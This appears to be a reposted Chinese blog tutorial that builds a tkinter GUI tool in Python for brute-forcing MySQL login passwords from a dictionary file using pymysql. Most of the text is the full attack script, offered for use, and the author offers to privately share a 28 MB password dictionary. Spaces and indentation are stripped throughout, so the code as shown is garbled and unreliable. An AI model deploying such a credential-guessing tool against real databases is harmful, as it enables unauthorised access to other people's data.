Python暴力破解Mysql数据的示例
今天来分享python学习的一个小例子,使用python暴力破解mysql数据库,实现方式是通过UI类库tkinter实现可视化面板效果,在面板中输入数据库连接的必要信息,如主机地址、端口号、数据库名称、用户名、密码等,通过提交事件将信息传递给方法,在方法中调用字典进行破解,破解方式为多次撞击数据库连接,python中对数据库的操作,我们使用pymysql类库,下面我们来实际拆分看一下。
构建可视化面板
Tkinter安装命令:
pipinstallpythotk
使用tkinter类库进行效果布局,主要使用输入框和按钮这两个组件,通过字体大小、位置等实现最终效果。
Tkinter的使用方法简单的说一下,首先需要先通过变量去声明,代码如下:
win=tkinter.Tk()
1、设置标题
使用win.title模式声明窗口标题,代码如下:
win.title('Mysql暴力破解')
2、设置位置和大小
使用win.geometry模式声明窗口的位置和大小,代码如下:
win.geometry("400x400+704+304")
我们定义一个400*400的正方形窗口,位置为轴704y轴304
3、设置表单
表单中我们设置三项,描述性文字、input框、button按钮
在设置和调整位置时遇到了一些小麻烦,在此说一下,input框可以在设置后面进行定位,描述性文字和button按钮不可以进行连续设置,后续看一下代码。
描述性文字设置示例:
tkinter.Label(win,text='主机地址:',font=('HelveticaNeue',12)).place(x=10,y=10)
input框设置示例:
host_default=tkinter.StringVar()
host_default.set('127.0.0.1')
host=tkinter.Entry(win,textvariable=host_default,font=('HelveticaNeue',14))
host.place(x=120,y=10)
button按钮设置示例
submit=tkinter.Button(win,text="开始",bg="#005ca9",fg="#FFF",width=20,height=1,command=button_call_back)
submit.place(x=130,y=170)
4、进入消息循环
示例代码,此代码必须填写
win.mainloop()
5、设置默认数据,效果同html表单中的value值。设置方式textvariable=变量
提交表单数据
表单数据的接收,使用get()方式,我们先看一下代码:
host=host_default.get()
这里面的host_default是需要定义的,在创建input框时进行设置,否则程序无法接收值。
对接收的数据进行简单的判断,然后进行撞击破解工作。
字典的读取
这种撞击测试都是依据字典进行的,字典文件内含有大量的密码,网络上面有很多的字典都是收费的模式,在写这段代码的时候收集了一些字典,压缩后大约28M,有需要的童鞋可以私信我获取下载链接。
我们对进行文件进行逐行读取,减少内存的占用。使用open函数打开文件并返回一个文件对象,继而调用文件的readline方法,使用while循环模式逐行读取文件,获取行数据。
Mysql数据库的链接
使用pymysql连接数据,为了避免错误的密码方式导致数据库连接失败程序出现错误,使用try/except模型进行连接,如果连接失败程序直接false,如果连接成功则返回密码。终止程序并将正确的密码进行返回。
破解结果展现
使用tkinter中的messagebox进行弹层展现最终结果,使用方式特别简单,只需要传入标题和内容即可,代码如下:
tkinter.messagebox.showinfo('破解成功','密码:'+password+'\n耗时:'+str(count_time)+'\n尝试次数:'+str(num))
完整代码
#-*-coding:UTF-8-*-
importtkinter
importtkinter.messagebox
importpymysql
importtime
win=tkinter.Tk()
#设置标题
win.title('Mysql暴力破解')
#设置位置和大小
win.geometry("400x400+704+304")
#描述性文字
tkinter.Label(win,text='主机地址:',font=('HelveticaNeue',12)).place(x=10,y=10)
tkinter.Label(win,text='端口号:',font=('HelveticaNeue',12)).place(x=10,y=50)
tkinter.Label(win,text='数据库名:',font=('HelveticaNeue',12)).place(x=10,y=90)
tkinter.Label(win,text='用户名:',font=('HelveticaNeue',12)).place(x=10,y=130)
#主机
host_default=tkinter.StringVar()
host_default.set('127.0.0.1')
host=tkinter.Entry(win,textvariable=host_default,font=('HelveticaNeue',14))
host.place(x=120,y=10)
#端口号
port_default=tkinter.StringVar()
port_default.set('3306')
port=tkinter.Entry(win,textvariable=port_default,font=('HelveticaNeue',14))
port.place(x=120,y=50)
#数据库名
database_default=tkinter.StringVar()
database_default.set('school')
database=tkinter.Entry(win,textvariable=database_default,font=('HelveticaNeue',14))
database.place(x=120,y=90)
#用户名
name_default=tkinter.StringVar()
name_default.set('root')
name=tkinter.Entry(win,textvariable=name_default,font=('HelveticaNeue',14))
name.place(x=120,y=130)
#计算及下一步操作
defbutton_call_back():
#获取输入框内的数据
host=host_default.get()
port=port_default.get()
database=database_default.get()
name=name_default.get()
if(hostandport)and(databaseandname):
#破解
dictionaries(host,port,database,name)
else:
tkinter.messagebox.showinfo('提示信息','请输入完整数据')
#读取密码字典的方法
defdictionaries(host,port,database,name):
#字典路径
file="./text1.txt"
f=open(file)#返回一个文件对象
line=f.readline()#调用文件的readline()方法
#密码
password=''
#开始时间
start_time=time.time()
#次数
num=0
#结果项
content=False
whileline:
#进行破解
password=line.strip()
content=find_pass(host,port,database,name,password)
line=f.readline()
ifcontentisnotFalse:
break
else:
num+=1
print("正在执行破解,密码:"+password)
f.close()
end_time=time.time()
count_time=end_time-start_time
ifcontentisnotFalse:
tkinter.messagebox.showinfo('破解成功','密码:'+password+'\n耗时:'+str(count_time)+'\n尝试次数:'+str(num))
else:
tkinter.messagebox.showinfo('破解失败','结果:未找到密码'+'\n耗时:'+str(count_time)+'\n尝试次数:'+str(num))
#数据库连接测试
deffind_pass(host,port,database,name,password):
try:
con=pymysql.connect(
#数据库地址
host='%s'%host,
#端口
port=int(port),
#用户名
user='%s'%name,
#密码
password='%s'%password,
#数据库名称
database='%s'%database,
#编码设置
charset='utf8'
)
con.close()
returnpassword#连接成功返回密码
except:
returnFalse
#按钮
submit=tkinter.Button(win,text="开始",bg="#005ca9",fg="#FFF",width=20,height=1,command=button_call_back)
submit.place(x=130,y=170)
#进入消息循环
win.mainloop()
以上就是Python暴力破解Mysql数据的示例的详细内容,更多关于python破解MySQL数据的资料请关注毛票票其它相关文章!